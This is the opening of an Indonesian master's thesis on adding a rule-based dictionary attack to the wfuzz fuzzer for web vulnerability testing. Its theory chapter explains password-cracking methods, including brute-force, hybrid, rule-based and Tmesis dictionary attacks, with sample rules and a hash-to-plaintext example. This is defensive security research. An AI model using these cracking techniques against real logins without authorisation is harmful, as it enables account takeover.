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ABSTRAK 

 

PERANCANGAN DAN IMPLEMENTASI RULE BASED 

DICTIONARY ATTACK PADA FUZZER WFUZZ UNTUK 

MENGUJI KERENTANAN APLIKASI WEB 
 

Oleh 

Yogi Kristiawan 

NIM: 23215097 

(Program Studi Magister Teknik Elektro) 
 

 

 

Fuzzing merupakan suatu metode testing mencari kesalahan piranti  lunak  dengan 

menyediakan input yang tidak diduga lalu memonitoring  hasilnya.   Fuzzing   

pada umumnya merupakan proses otomatisasi  atau semi  automatisasi yang 

melibatkan manipulasi dan menyediakan data secara berulang-ulang untuk 

selanjutnya akan diproses oleh target piranti lunak. Website merupakan salah satu  

media  piranti lunak  yang berkembang dengan pesat saat ini. Kemudahan serta 

murahnya biaya untuk membuatnya menjadi salah satu faktor mendukungnya.  

Namun kemudahan tersebut tidaklah diimbangi dengan keamanan yang memadai. 

Salah  satu penyebab rendahnya keamanannya ialah tidak dilakukannya pengujian 

piranti lunak sebelum suatu website ditampilkan.   

 

Menurut OWASP (2013) Broken Authentication dan Insecure Direct Object 

References merupakan dua dari sepuluh jenis kerentanan pada aplikasi web. 

Untuk mendeteksi adanya kerentanan tersebut fuzzer yang ada saat ini sebagian 

besar menggunakan dictionary yang berisi kata/frase untuk diinput pada website 

target. Secara umum dictionary yang digunakan masih bersifat statis. Pada 

penelitian ini penulis mengajukan model rule based dictionary dimana dengan 

rules yang ditentukan sebelumnya maka dictionary akan berubah sesuai rule 

tersebut. Penerapan ini mengurangi kecenderungan penggunaan berbagai 

dictionary yang tersedia untuk target yang sama.  

 

Kata kunci: fuzzing, testing, website, broken authentication, Insecure Direct 

Object References , rule based dictionary 
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ABSTRACT 

 

DESIGN AND IMPLEMENTATION OF RULE BASED 

DICTIONARY ATTACTK ON FUZZER WFUZZ FOR WEB 

APPLICATION VULNERABILITY TESTING 
 

By 

Yogi Kristiawan 

NIM: 23215097 

(Master of Electrical Engineering) 
 

 

 

Fuzzing is a testing method to find fault with the software by providing input and 

monitoring of unexpected results. Fuzzing in general is a process automation or 

semi-automation that involve the manipulation and provide data repeatedly for 

further processing by the target software. The website is one of the software 

which is growing rapidly at the moment. The ease and low cost to make it into 

one of the factors supporting it. But the convenience is not matched with adequate 

safety. One cause of low safety is not done testing the software before a website is 

displayed. 

 

According to OWASP (2013) Broken Authentication and Insecure Direct Object 

References are two of the ten types of vulnerabilities in web applications. To 

detect the existence of the vulnerability fuzzer that exist today are mostly using a 

dictionary containing the words / phrases to be inputed to the target website. In 

general dictionary used is still static. In this study, the authors propose a model 

where the rule-based dictionary with predetermined rules, the dictionary is 

changed according to the rule. This implementation reduces the tendency of the 

use of various dictionaries available for the same target. 

 

Key word: fuzzing, testing, website, broken authentication, Insecure Direct Object 

References, rule based dictionary  
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Bab I Pendahuluan 

 
I.1      Latar Belakang  

Piranti lunak menjadi bagian yang penting dalam menunjang sebagian besar 

aktifitas manusia saat ini.  Kemudahan dalam membangun sebuah piranti lunak 

juga seakan menjadi penunjang banyaknya piranti lunak yang beredar. Namun 

dibalik kemudahan yang ditawarkan, keamanan piranti lunak tersebut menjadi 

masalah tersendiri. Sumber masalah keamanan piranti lunak yang umum terjadi 

dapat dibedakan menjadi 3 yakni: konektivitas, kemampuan update, dan 

kompleksitas (G. McGraw, 2006). 

 

Aplikasi web merupakan salah satu jenis piranti lunak yang umum digunakan saat 

ini. Potensi resiko keamanan aplikasi web yang dapat dimanfaatkan penyerang 

tidaklah sedikit. Sepuluh potensi resiko keamanan aplikasi web yang paling sering 

muncul adalah (OWASP, 2013): 

Tabel I.I Sepuluh Besar Potensi Resiko Aplikasi Web Tahun 2013 

No Resiko Deskripsi 

1. Injection Injection flaws bisa berupa injeksi SQL, OS, 

dan LDAP. Terjadi karena untrusted data 

dikirim ke sebuah penterjemah yang akan 

memberikan perintah atau akses data tanpa 

otorisasi yang tepat. 

2. Broken Authentication and 

Session Management 

Fungsi aplikasi yang terkait dengan 

otentifikasi dan manajemen sesi seringkali 

tidak benar implementasinya, sehingga 

penyerang dapat mengambil password, key,  

session tokens, atau exploit kelemahan 

lainnya untuk mengambil data identitas 

user. 

3. Cross – Site Scripting (XSS) XSS flaws terjadi karena sebuah aplikasi 

mengambil untrusted data dan mengirim 

data tersebut ke browser tanpa melalui 

validasi. XSS memungkinkan penyerang 

mengeksekusi scripts pada browser yang 

1 
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akan diserang dengan mengambil user 

sessions, deface web sites, atau redirect 

pengguna ke situs lainnya. 

4. Insecure Direct Object 

References 

Akses ke object reference terjadi bila 

pengembang exposes sebuah  referensi dari 

sebuah  internal implementation seperti:  

file, direktori, atau database key tanpa 

adanya pengecekan  access control atau 

proteksi, sehingga  penyerang dapat 

melakukan manipulasi referensi tersebut 

yang dapat digunakan untuk melakukan 

akses unauthorized data. 

5. Security Misconfiguration Kesalahan konfigurasi kemanan terjadi 

karena  adanya kesalahan konfigurasi  pada 

aplikasi,  fuzzer,  server aplikasi,  web  

server,  server  database,  dan  platform. 

6. Sensitive Data Exposure Banyak aplikasi web tidak benar melindungi 

data sensitif, seperti kartu kredit, nomor 

pajak, dan autentifikasi. Penyerang dapat 

mencuri atau memodifikasi data yang 

dilindungi lemah seperti untuk melakukan 

penipuan kartu kredit, pencurian identitas, 

atau kejahatan lainnya. data sensitif layak 

perlindungan ekstra seperti enkripsi saat 

istirahat atau dalam perjalanan, serta 

tindakan pencegahan khusus ketika ditukar 

dengan browser. 

7. Missing Function Level 

Access Control 

Aplikasi web yang paling memverifikasi 

hak akses tingkat fungsi sebelum membuat 

fungsi yang terlihat di UI. Namun, aplikasi 

perlu melakukan pemeriksaan kendali akses 

yang sama pada server ketika setiap fungsi 

diakses. Jika permintaan tidak diverifikasi, 

penyerang akan dapat menempa permintaan 

untuk mengakses fungsi tanpa otorisasi 

yang tepat. 

8. Cross-Site Request Forgery Serangan CSRF terjadi karena seorang 

pengguna aplikasi yang melakukan login 

akan dialihkan ke aplikasi web yang sudah 
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dipalsukan, kemudian data dari user tersebut 

akan diambil. 

9. Using Known Vulnerable 

Components 

Komponen, seperti perpustakaan, kerangka 

kerja, dan modul perangkat lunak lain, 

hampir selalu dijalankan dengan hak ull. 

Jika komponen rentan dieksploitasi, seperti 

serangan dapat memfasilitasi data yang 

seriusoss atau server pengambilalihan. 

Aplikasi menggunakan komponen dengan 

kerentanan dikenal mungkin melemahkan 

pertahanan aplikasi dan memungkinkan 

berbagai serangan dan dampak yang 

mungkin. 

10. Unvalidated Redirects and 

Forwards 

Terjadi pengalihan/redirect dan 

meneruskan/ forward ke web site lain 

karena tidak adanya validasi terhadap 

halaman yang dituju tersebut. Hal ini 

memungkinkan terjadinya pengalihan ke   

situs  phishing  atau malware. 

 

Karena besarnya potensi resiko keamanan pada aplikasi web tersebut, maka perlu 

dilakukan vurnerability assessment yang bertujuan untuk mengidentifikasi dan 

mengukur security vulnerability dari aplikasi web tersebut.  Ada berbagai macam 

metode yang dapat digunakan untuk melakukan vurnerability  assessment, salah 

satu metode VA yang bisa digunakan adalah metode fuzzing.  

 

Fuzzing adalah suatu metode dengan cara memasukan nilai tak terduga ke sistem 

target dan memonitor respon abnormal untuk menemukan kerentanan aplikasi 

web. (M. Sutton. dkk, 2007). Fuzzing pada umumnya merupakan proses 

otomatisasi atau semi automatisasi yang melibatkan manipulasi dan menyediakan 

data secara berulang-ulang untuk selanjutnya akan diproses oleh target piranti 

lunak.  
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I.2 Rumusan Masalah  

Berdasarkan uraian latar belakang di atas, maka rumusan masalah dalam  

penelitian  ini  adalah  bagaimana merancang pengembangan fuzzer wfuzz untuk 

dapat mencari celah keamanan pada aplikasi web. Sebelum dilakukan 

perancangan akan dilakukan percobaan terhadap fuzzer wfuzz untuk melihat 

sejauh mana fuzzer tersebut dapat menemukan celah keamanan aplikasi web. 

Setelah itu akan dilakukan analisis terkait pengembangan fuzzer baik dari sisi 

algoritma maupun cakupannya . Hasil dari analisis tersebut selanjutnya akan 

digunakan untuk membuat suatu pengembangan dan aplikasi baru penunjang 

fuzzer wfuzz untuk menambah kemampuan fuzzer dalam menemukan celah 

keamanan pada aplikasi web. 

 

I.3  Tujuan  

Tujuan umum dari penelitian ini adalah untuk merancang aplikasi dengan metode 

fuzzing yang dapat mencari celah keamanan pada aplikasi web menggunakan 

fuzzer wfuzz. Adapun tujuan penelitian secara khusus adalah untuk: 

Å Mengembangkan fuzzer wfuzz dengan menerapkan dictionary rule based 

dictionary attack pada aplikasi wfuzz. 

Å Membuat automatic generate dictionary dan rules yang selanjutnya 

digunakan oleh fuzzer. 

Å Menguji fuzzer yang telah dikembangkan dan aplikasi pendukungnya untuk 

mencari resources tersembunyi dan memecahkan kata sandi pada sebuah 

aplikasi web. 

 

I.4 Batasan Masalah 

Batasan masalah yang ditetapkan pada penelitian ini adalah: 

1. Target penelitian berupa aplikasi web 

Kemudahan yang diberikan dalam membangun sebuah aplikasi web saat ini 

ditambah peluang resiko keamanan yang ada menjadi alasan peneliti 

menjadikan web aplikasi sebagai target penerapan fuzzing. 
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2. Peneliti menggunakan fuzzer wfuzz 

Peneliti memutuskan menggunakan fuzzer wfuzzz yang sudah tersedia 

dengan tujuan agar penelitian dapat lebih fokus terhadap hal yang belum 

dikerjakan peneliti lain dan tidak mengerjakan semua dari awal. Fuzzer 

wfuzz yang digunakan merupakan fuzzer yang sampai saat ini masih terus 

dikembangkan. 

3. Jenis Kerentanan web  

Berdasarkan pada sepuluh besar potensi kerentanan pada aplikasi web 

tahun 2013 menurut OWASP. Jenis kerentanan yang akan diteliti lebih 

lanjut menggunakan fuzzer wfuzz adalah Broken Authentication and Session 

Management serta Insecure Direct Object References. 

 

I.5 Sistematika Penulisan 

Sistematika penulisan tesis ini terdiri dari 5 bab yang akan dijelaskan sebagai 

berikut: 

1. Bab I Pendahuluan, berisi latar belakang, rumusan masalah, tujuan 

penelitian, batasan masalah dan sistematika penulisan. 

2. Bab II Landasan Teori, berisi landasan teori dan penelitian sebelumnya 

yang terkait dengan penelitian.        

3. Bab III Metodologi Penelitian, berisi penjelasan tentang langkah-langkah 

yang dilakukan dalam penelitian ini. 

4. Bab IV Perancangan, berisi rancangan model pengembangan dan 

pembuatan aplikasi penunjang fuzzer wfuzz. 

5. Bab V Implementasi dan pengujian, bab ini menjelaskan implementasi 

terhadap hasil perancangan bab keempat dan dilakukan pengujian kinerja 

aplikasi. 

6. Bab VI Kesimpulan dan Saran Memuat kesimpulan dari hasil penelitian 

serta tingkat tercapainya tujuan penelitian seperti yang dijelaskan pada bab 

pertama. Selain itu juga berisi saran dan masukan untuk pengembangan 

penelitian selanjutnya. 
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Bab II Landasan Teori 

 

II.1 Keamanan Piranti Lunak 

Keamanan piranti lunak merupakan proses mendesain, membangun dan 

melakukan uji coba sebuah piranti lunak dengan memperhatikan keamanan di 

tiap bagiannya agar piranti lunak tersebut dapat menahan serangan (G. 

McGraw, 2006). Untuk membangun piranti lunak yang aman pada umumnya 

bergantung pada proses saat rekayasa perangkat lunak, bahasa pemrograman 

yang digunakan dan teknik keamanan yang diterapkan.  

 

Membangun sebuah piranti lunak yang tanpa celah keamanan tidaklah 

mungkin. Hanya menunggu waktu, cara atau kesempatan bagi penyerang 

untuk dapat menemukan celah keamanan tersebut. Untuk itu pentingnya 

kesadaran akan keamanan sejak piranti lunak akan dibangun. Terdapat tiga 

pillar keamanan piranti lunak yakni manajemen resiko, touchpoint, dan 

pengetahuan. Dengan menerapkan ketiganya secara bertahap dan ukuran yang 

sesuai maka aplikasi keamanan piranti lunak yang standar dan hemat dapat 

terwujud [1].  

 

Adapun tahapan pembangunan piranti lunak yang aman dengan dasar tiga 

pilar tersebut menurut Gary McGraw adalah sebagai berikut 

 

Gambar II.1 Tahapan Secure Software Development Life Cycle (SDLC) (G. 

McGraw, 2006) 
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II.2 Metode Pencarian Vulnerability 

Vulnerability (Kerentanan) adalah cacat dan kekurangan pada sistem 

komputer yang secara spesifik diimplementasikan pada piranti lunak, piranti 

keras, protocol, atau pada kebijakan keamanan (Li Li. dkk, 2013). Kerentanan 

tersebut memungkinkan adanya serangan yang dapat menganggu sistem baik 

dari sisi kerahasiaan, integritas maupun ketersediaan. 

 

Untuk mengatasinya diperlukan suatu metode untuk dapat mengetahui 

kerentanan yang ada sebelum digunakan penyerang. Secara umum dikenal tiga 

jenis pendekatan untuk mencari kerentanan tersebut yakni black box, white 

box, dan gray box (M. Sutton. dkk, 2007).Perbedaan mendasar dari ketiga 

pendekatan tersebut ditentukan dari resources apa yang dimiliki. Pendekatan 

white box memerlukan full akses ke resources seperti source code dan 

spesisifiikasi desain.  Pendekatan black box memiliki sedikit tentang target. 

Sementara pendekatan gray box memerlukan resource tertentu seperti akses 

untuk compiled binaries dan dokumentasi dasar.  

 

Source code review merupakan salah satu cara mencari kerentanan sistem 

berdasarkan pendekatan white box dengan cara melihat source code tiap baris 

lalu menentukan jenis kerentanan yang ada. Secara umum hal ini dapat 

dilakukan secara manual ataupun automatisasi. Kelebihan metode ini adalah 

dapat mengakses complete coverage dari sistem. Sementara kekurangannya 

ialah waktu yang dibutuhkan sebanding dengan kompleksitas sistem.  

 

Selanjutnya Binary auditing merupakan salah satu cara mencari kerentanan 

sistem berdasarkan pendekatan gray box dengan menggunakan reverse code 

engineering (RCE) untuk menentukan fungsionalitas compiled binary dari 

aplikasi. Kelebihan metode ini adalah dari sisi coverage walau tidak seperti 

source code review namun hasilnya dapat membantu memperbesar coverage 

metode black box. Sementara kekurangannya dari sisi kompleksitas 

membutuhkan kemampuan yang baik dalam menggunakan RCE. 
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Untuk pendekatan metode black box cara yang dapat digunakan ialah fuzzing. 

Pembahasan lengkap tentang fuzzing terdapat pada pembahasan bab II.3. 

Berikut merupakan gambar terkait kelebihan dan kekurangan masing-masing 

metode pencarian kerentanan sistem menurut Michael Sutton (M.Sutton, 

2007).  

 

 
Source Code Analysis Binary Auditing 

Security 

Audit 
Fuzzing 

Manual Automated Manual Automated Manual Automated 

Code 

Coverage 

      

Speed 
      

False 
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False 

Negatives 

      

Complex 
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=  Low 

 

= Medium 

 

= High 

Gambar II.2 Kelebihan dan kekurangan metode-metode mencari kerentanan 

sistem. 

  

II.3     Fuzzing 

Penggunaan kata fuzzing pertama kali datang dari proyek riset di Universitas 

Wisconsin-Madison. Fuzzing merupakan suatu metode mencari kesalahan 

piranti lunak dengan menyediakan input yang tidak diduga lalu memonitoring 

hasilnya (M. Sutton. dkk, 2007). Fuzzing pada umumnya merupakan proses 

otomatisasi atau semi automatisasi yang melibatkan manipulasi dan 

menyediakan data secara berulang-ulang untuk selanjutnya akan diproses oleh 

target piranti lunak. 

 

Tahapan dalam fuzzing secara umum dapat dibedakan menjadi 6 tahapan 

yakni: identifikasi target, identifikasi input, Membuat data fuzzing, input data 

fuzzing, monitoring respon abnormal, dan evaluasi (Li Li. dkk, 2013) seperti 

tertera pada tabel II.1. 
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       Tabel II.I Tahapan dalam Fuzzing 

No Tahapan Keterangan 

1. Identifikasi target Melakukan identifikasi aplikasi 

web yang akan diberikan fuzzing, 

misal: jumlah form 

2. Identifikasi input Melakukan identifikasi metode 

pngirimam data pada aplikasi web, 

misal: Get, Post, Ajax, dan lain-

lain. 

3. Membuat data 

fuzzing 

Setelah dilakukan identifikasi 

metode input yang digunakan, 

langkah selanjutnya yaitu 

membuat Fuzzer yang akan 

membuat random input yang akan 

digunakan untuk fuzzing.   

4. Input data fuzzing Melakukan request ke aplikasi 

web dengan menggunakan data 

random yang telah digenerate 

(fuzzed data). 

5. Monitoring 

response abnormal 

Response dari aplikasi web akan 

dimasukkan ke database dan 

dilakukan monitoring, data yang 

dimonitoring meliputi: response 

time, maximum dan minimum 

response time, dan lain-lain. 

6. Evaluasi Melakukan evaluasi terhadap 

response abnormal dan jenis bug 

yang belum tercover untuk fuzzing 

selanjutnya. 

 

II.4 Fuzzer Wfuzz 

Wfuzz mulai dibuat oleh dua orang yang terkenal dalam bidang riset 

keamanan, Carlos del Ojo dan Christian Martorella sejak tahun 2006. Wfuzz 

merupakan salah satu fuzzer yang dibangun dengan bahasa python dan terdiri 

dari banyak komponen yang dapat dikembangkan. Tujuan utama dari 

pembuatan wfuzz adalah untuk melakukan serangan bruteforce terhadap 

aplikasi web. Wfuzz dapat digunakan untuk menemukan sumber daya tidak 

terhubung (direktori, servlets, script, dll), bruteforce GET dan parameter 

POST untuk memeriksa berbagai jenis suntikan (SQL, XSS, LDAP, dll), 
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bruteforce halaman parameter (User / password), Fuzzing, dll.(M. Christian, 

M. Xavier. 2011) 

 

Pada tahun 2011 setelah wfuzz tidak dikembangkan untuk berberapa tahun, 

Xavier Mendez mengambil alih proyek dan menjadi pengelola utama dalam 

pengembang alat ini, merilis versi 1.4D untuk 2.1. Christian Martorella tetap 

dalam proyek sebagai kolaborator, aktif mendukung versi baru dengan saran, 

pengujian beta dan perubahan kode kecil. 

 

Komponen wfuzz terdiri dari 5 bagian yakni; Payloads, encoders, iterators, 

plugin dan printers. Payloads berfungsi untuk menghasilkan daftar 

permintaan untuk dikirim pada target. Encoders melakukan konversi nilai dari 

satu format ke format lainnya. Iterators memungkinkan untuk memproses 

setiap elemen wadah sementara mengisolasi dari struktur internal wadah. 

Plugins memungkinkan untuk melakukan suatu tindakan atas respon target 

atau ketika kondisi terpenuhi. Printers mengolah output atau hasil dalam 

berbagai format. Interaksi dari kelima komponen diatas dapat dilihat pada 

gambar berikut. 

 

 

Gambar II.3 Proses antara lima komponen fuzzer wfuzz 

 

II.5     Password Cracking 

Password cracking adalah suatu kegiatan menganalisis perilaku manusia dan 

menemukan cara otomatis untuk secara efektif dan efisien "membalikkan" 

password terenkripsi kembali ke bentuk plaintext. Kita dapat mengevaluasi 
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efisiensi metode pemulihan password (Chrysanthou Yiannis, 2013) 

berdasarkan: 

1.    Waktu yang dibutuhkan penyerang untuk mengolah dan mencoba satu 

password. Pada umumnya password memiliki tanggal kedaluwarsa 

(berdasarkan kebijakan password). 

2.    Jumlah sumber daya yang penyerang memiliki. Penyerang mungkin 

memiliki kemampuan untuk menggunakan beberapa prosesor, pusat 

data, atau botnet untuk menyerang. Hal ini akan menurunkan waktu yang 

dibutuhkan. 

3.    Tingkat keberhasilan serangan pada jenis serangan atau pendekatan 

tertentu.  

 

Pertimbangan lain adalah apakah penyerang ingin memecahkan satu password 

atau sekelompok password. Jika penyerang memiliki satu password maka 

tujuannya adalah untuk memecahkannya dengan waktu yang wajar. Jika 

Penyerang memiliki banyak password maka tujuannya mungkin untuk 

memecahkan salah satu password, sejumlah password tertentu, atau sebanyak 

password yang ia bisa dalam jumlah waktu yang wajar dan mengingat sumber 

daya yang dimiliki. Ada dua utama dua kategori teknik password cracking 

(Chrysanthou Yiannis, 2013) yakni. 

1.    Serangan online adalah serangan yang dilakukan pada host hidup atau 

sistem dengan baik menggunakan lengkap pencarian (brute-force) atau 

serangan dictionary terhadap form login, sesi, atau jenis otentikasi teknik 

yang digunakan. serangan online tidak sepopuler serangan offline karena 

mereka tingkat kesulitannya. Berbagai mekanisme perlindungan seperti 

Captcha gambar, delay login dan penetapan maksimum percobaan 

otentikasi membuat serangan online sulit dan berbahaya untuk 

mewujudkan. Contoh alat yang dapat digunakan untuk serangan online 

adalah Hydra. Hydra adalah login cracker jaringan yang mendukung 

beberapa layanan online seperti POP3, HTTP,LDAP, IMAP dll 

2.    Serangan Offline dapat dilakukan pada password hash di lokasi yang 

berbeda dan tanpa perlu berinteraksi dengan host korban. Hal ini 
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dilakukan dengan mengekstraksi hash yang disimpan oleh korban dan 

mencoba untuk memecahkannya. Hal ini dapat dilakukan tanpa disadari 

oleh host target. Jenis serangan ini cukup populer karena kemudahan dan 

seringkali karena adanya berbagai kerentanan dalam infrastruktur 

korban. Contoh alat yang dapat digunakan untuk serangan offline adalah 

Hashcat. Hashcat adalah sebuat tools cracker password dengan hash 

MD5 kemudian di bantu dengan dictionary yg besar. 
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Berikut merupakan jenis-jenis serangan password yang umum digunakan: 

 

II.5.1   Google search hash attack and free public hash databases: 

Serangan ini dilakukan dengan hanya mencari hash password di Google. 

Banyak password bisa pulih dengan cara ini karena ada berbagai daftar dan 

database online yang menyimpan password dan nilai hash yang sesuai. Cara 

ini sangat sederhana dan bekerja dengan baik dengan semua password yang 

umum digunakan seperti "123123", "password123", "admin", "browser" dan 

seterusnya. Selain itu, ada berbagai situs yang menawarkan layanan password 

cracker secara gratis sehingga membuat semua password cracker tersedia 

untuk umum dan search engine dapat mengindeks halaman ini. Untuk 

membuktikannya, kita dapat mencari di Google untuk hash MD5 

"120d9eda3a2281b9dfcd0813d052db6a". Google memberikan lima hasil 

pencarian ke situs web yang memiliki plaintext yang sesuai yakni 

"1whyMDd5". "1whyMDd5" dianggap sebagai password yang baik karena 

memuat huruf kecil, huruf besar, dan angka.  

 

II.5.2  Brute-force Attacks 

Serangan brute-force adalah sebuah teknik serangan terhadap sebuah sistem 

keamaman komputer yang menggunakan percobaan terhadap semua 

kombinasi karakter yang mungkin. Pendekatan ini pada awalnya merujuk pada 

sebuah aplikasi komputer yang mengandalkan kekuatan pemrosesan komputer 

dibandingkan kecerdasan manusia. Sebagai contoh serangan brute-force untuk 

semua string hingga 8 karakter huruf kecil akan mulai dengan "aaaaaaaa" dan 

diakhiri dengan "zzzzzzzz". 

 

Sebuah serangan brute-force lengkap yang mencakup semua huruf, angka dan 

simbol bisa dapat menjamin tingkat keberhasilan 100%. Namun, ketika 

mencoba serangan brute-force pada passsword yang memiliki lebih dari 10 

karakter waktu yang dibutuhkan untuk melakukan itu menjadi sangat besar 

sejalan pertumbuhan eksponensial untuk setiap penambahan masing-masing 

karakter.  
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II.5.3      Dictionary attack 

Dictionary atau kamus merupakan file teks baku yang terdiri dari satu kata 

atau frase  per baris. Setiap baris merupakan kandidat yang akan dihitung nilai 

hash dan dibandingkan  dengan hash  target  untuk dipulihkan. Perbedaan  

antara  dictionary attack dan brute-force adalah bahwa  dictionary attack 

mengggunakan daftar kata sandi yang umum digunakan dibanding 

menggunakan semua kemungkinan yang ada. Kata sandi yang umumnya 

terdapat pada kamus berisi dari  kata-kata dalam bahasa inggris atau bahasa 

lainnya, tanggal lahir, nama anggota keluarga, nomor telepon dan lain-lain 

(Chrysanthou Yiannis, 2013) Pengggunaan teknik  dictionary attack  untuk 

memecahkan sebuah kata sandi sudah banyak digunakan aplikasi pemecah 

kata sandi seperti Hydra. 

 

Cara Kerja Dictionary Attack adalah penyerang mengumpulkan kata-kata 

yang sering digunakan sebagai password ini ke dalam sebuah file yang 

dinamakan sebagai dictionary. Selanjutnya aplikasi cracking akan mengubah 

satu persatu kata-kata yang ada di dalam dictionary berdasarkan fungsi hash 

yang digunakan ke dalam bentuk tabel hash. Hasil perubahan ini kemudian 

dicocokkan dengan hash pada file password yang ingin dipulihkan. Apabila 

hasil hash ini cocok, artinya password sudah berhasil diketahui. Dengan teknik 

ini, hacker tidak perlu mencoba semua kombinasi karakter yang ada 

(seperti brute force attack) sehingga bisa menghemat banyak waktu dan 

tenaga. Gambar di bawah ini merupakan alur proses dari dictionary attack: 

 

Gambar II.4 Alur kerja Dictionary Attack 
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Kentungan dari metode dictionary attack adalah waktu yang dibutuhkan relatif 

singkat. Sedangkan kelemahan dari metode ini adalah hanya dapat 

menebak password yang terdiri dari kombinasi kata-kata yang terdapat pada 

kamus (contoh: jika password pengguna menggunakan kombinasi huruf angka 

yang tidak terdapat dalam kamus, maka password tidak akan tertebak). Untuk 

mengatasi kelemahan tersebut maka dikembangkan beberapa metode yang 

berasal dari dictionary. Jenis-jenis perkembangannya adalah sebagai berikut.  

 

1. Combined dictionary attack.  

Combined dictionary attack adalah salah satu di mana beberapa kamus 

(atau entri dari kamus tunggal) digabungkan dengan cara seperti string 

rangkaian untuk menghasilkan "Gabungan Dictionary" baru. Teknik ini 

diperkenalkan karena diketahui bahwa user sering memilih meningkatkan 

keamanan password mereka dengan menggabungkan beberapa kata atau 

menambahkan karakter string tertentu pada awal atau akhir password 

mereka. Gambar III.1 di bawah ini menunjukkan Gabungan Kamus dibuat 

dari kamus sederhana awal. 

 

Gambar II.5  Membuat combined dictionary menggunakan dictionary sederhana 

 

2. Hybrid dictionary attack 

Hybrid dictionary attack adalah kombinasi dari serangan brute-force dan 

dictionary attack. Hybrid dictionary attack membutuhkan kamus sebagai 

masukan dan menambahkan string brute-force untuk setiap entri dari 

Kamus. Lalu untuk setiap string dalam kamus akan menghasilkan 

beberapa string lain seperti bahwa kata "buah" menghasilkan "11buah", 

"12buah" hingga "99buah" untuk brute-force penambahan dua angka di 

depan untuk setiap entri. Hybrid dictionary attack juga menghasilkan 
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peningkatan waktu secara eksponensial berdasarkan pada jumlah karakter 

yang akan ditambahkan pada dictionary yang tersedia. 

 

3. Rule based dictionary attack 

Rule based dictionary attack mirip dengan Hybrid dictionary attack, 

perbedaannya serangan ini tidak menambahkan string di semua 

kemungkinan kombinasi yang ada seperti “11buah” hingga “99buah”, 

Rule based dictionary attack mengubah setiap kata di dalam dictionary 

untuk diubah atau digabungkan dengan awalanan, akhiran ataupun kriteria 

tertentu yang umum digunakan sebagai password. Rule based dictionary 

attack memerlukan lebih sedikit waktu untuk dieksekusi daripada Hybrid 

dictionary attack karena tidak perlu melakukan penngubahan secara acak. 

Fleksibilitas dari Rule based dictionary attack memungkinkannya untuk 

membuat rule yang kemungkinan suksesnya besar. Gambar III.3 di bawah 

ini menunjukkan string input dan output contoh yang dihasilkan dengan 

rules umum, yang tersedia secara default di sebagian besar alat password 

cracking seperti Hashcat. 

 

Gambar II.6 Skema Rule Based Dictionary Attack 

 

4. Tmesis dictionary attack 

Tmesis dictionary attack diperkenalkan oleh Y. Chrysanthou di password 

confererence tahun 2014 [9]. Tmesis dictionary attack merupakan salah satu 

cara untuk menghasilkan rules lalu bekerja dengan menyisipkan isi dari satu 

dictionary ke dalam semua posisi pada kata dalam dictionary lain. Sumber 

dictionary yang akan nantinya disisipkan bisa apa saja. (Tanggal, angka, 

karakter khusus). Bagaimana Tmesis bekerja adalah sebagai berikut:  
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1. Input dictionary berisi satu kata (kata bisa lebih dari satu): “password”  

2. Selanjutnya memilih target dictionary misal berisi satu kata: “123456” 

3. Tmesis selanjutnya akan membuat rules yang akan menyisipkan 

“password” kesetiap posisi di dalam “123456” 

4. Selanjutnya hasilnya adalah kandidat kata baru yakni: 

“password123456”, “1password23456”, “12password3456”, 

“123password456”, “1234password56 “,”12345password6”, 

“123456password” 

 

5. Dynamic rule based dictionary attack 

Sama dengan Tmesis dictionary attack, Dynamic rule based dictionary juga 

diperkenalkan oleh Y. Chrysanthou namun teknik ini dibahasnya pada 

tesisnya yang berjudul “Modern Password Cracking: A hands-on approach to 

creating an optimised and versatile attack” pada tahun 2013. Dynamic rule 

based dictionary merupakan serangan dinamis yang bekerja dengan 

menciptakan dan memasukkan rules baru ke dalam ruleset saat proses 

recovery sedang berjalan. Rules dibuat dengan menganalisis analisis daftar 

password yang telah berhasil dipulihkan pada setiap iterasi. Adapun tahapan 

iterasi yang digunakan Y. Chrysanthou terdapat pada gambar II.7. Rules dapat 

dibuat dengan berbagai cara. Cara sederhana untuk membuat rules adalah 

dengan membagi setiap kata password menjadi rantai yang terdiri 2 atau 3 

karakter lalu mengurutkan berdasarkan banyaknya kemunculan. Selanjutnya 

berdasarkan posisinya pada daftar password kita kemudian membuat rules 

baru 

 

Gambar II.7  Skema rule dynamic rule based dictionary 
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Selanjutnya akan kita lihat bagaimana Dinamis Rule Generation bekerja. 

Mari kita asumsikan bahwa telah ada enam password yang telah 

dipulihkan sejauh ini, yang ditunjukkan pada Tabel II.1. Selanjutnya akan 

dianalisis secara automatis enam password tersebut lalu akan tampil empat 

rules yang sesuai dengan daftar, yang ditunjukkan pada Tabel II.2. 

Selanjutnya rules tersebut akan dimasukkan kedalam ruleset yang ada 

untuk selanjutnya akan dijalankan ke dictionary 

 

Tabel II.2  Contoh daftar password yang sudah dipulihkan 

123456 qwerty123 123pass 

abcpassword1 !-1pass123 123456123 

 

Tabel II.3 Rules hasil analisis daftar password 

Rule Penjelasan 

i01 i12 i23 Sisipkan pada posisi 0(1), posisi 1(2), posisi 2(3) 

i61 i72 i83 Sisipkan pada posisi 6(1), posisi 7(2), posisi 8(3) 

i4p i5a i6s 

i7s 

Sisipkan pada posisi 4(p), posisi 5(a), posisi 6(s), 

posisi 7(s) 

i72 i83 Sisipkan pada posisi 7(2), posisi 8(3) 

 

II.6     Python Library 

Python Library merupakan sekumpulan kode yang dirancang dengan bahasa 

pemrograman python dengan tujuan agar dapat digunakan oleh banyak 

aplikasi. Library biasanya menyediakan beberapa fungsi umum yang dapat 

digunakan oleh aplikasi yang lebih spesifik. Library sendiri dapat berisi paket 

atau beberapa paket terkait, namun bisa jadi hanya satu modul saja. Pada 

python installer biasanya sudah mencakup seluruh library standard yang sering 

digunakan seperti library time, itertools, random, dll.  

Beberapa python library yang penulis gunakan pada penelitian kali ini adalah: 
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a. Library Beautiful Soup 

Beautiful Soup adalah library python yang berfungsi untuk menarik data 

dari file HTML dan XML. Cara bekerja library ini adalah terlebih dahulu 

dilakukan parser HTML terhadap halaman suatu web. Setelah itu library 

beautiful soup akan melakukan pencarian data (url, images, string) pada 

file HTML tersebut. 

b. Library Product 

Product bekerja dengan melakukan cartesian product terhadap dua atau 

lebih set. Misal terdapat terdapat dua buah set yakni, a = (A,B,C) dan b = 

(1,2,3) maka output cartesian product dari dua set tersebut adalah 

((A1),(A2),(A3),(B1),(B2),(B3),(C1),(C2),(C3)) . 

c. Library Google 

Library google berfungsi untuk melakukan pencarian pada web google 

search. Input user berupa kata kunci akan diteruskan pada pencarian 

google search. Pada library ini juga dapat diatur terkait jumlah hasil 

pencarian, jenis website hasil pencarian, pemilihan asal negara pencarian 

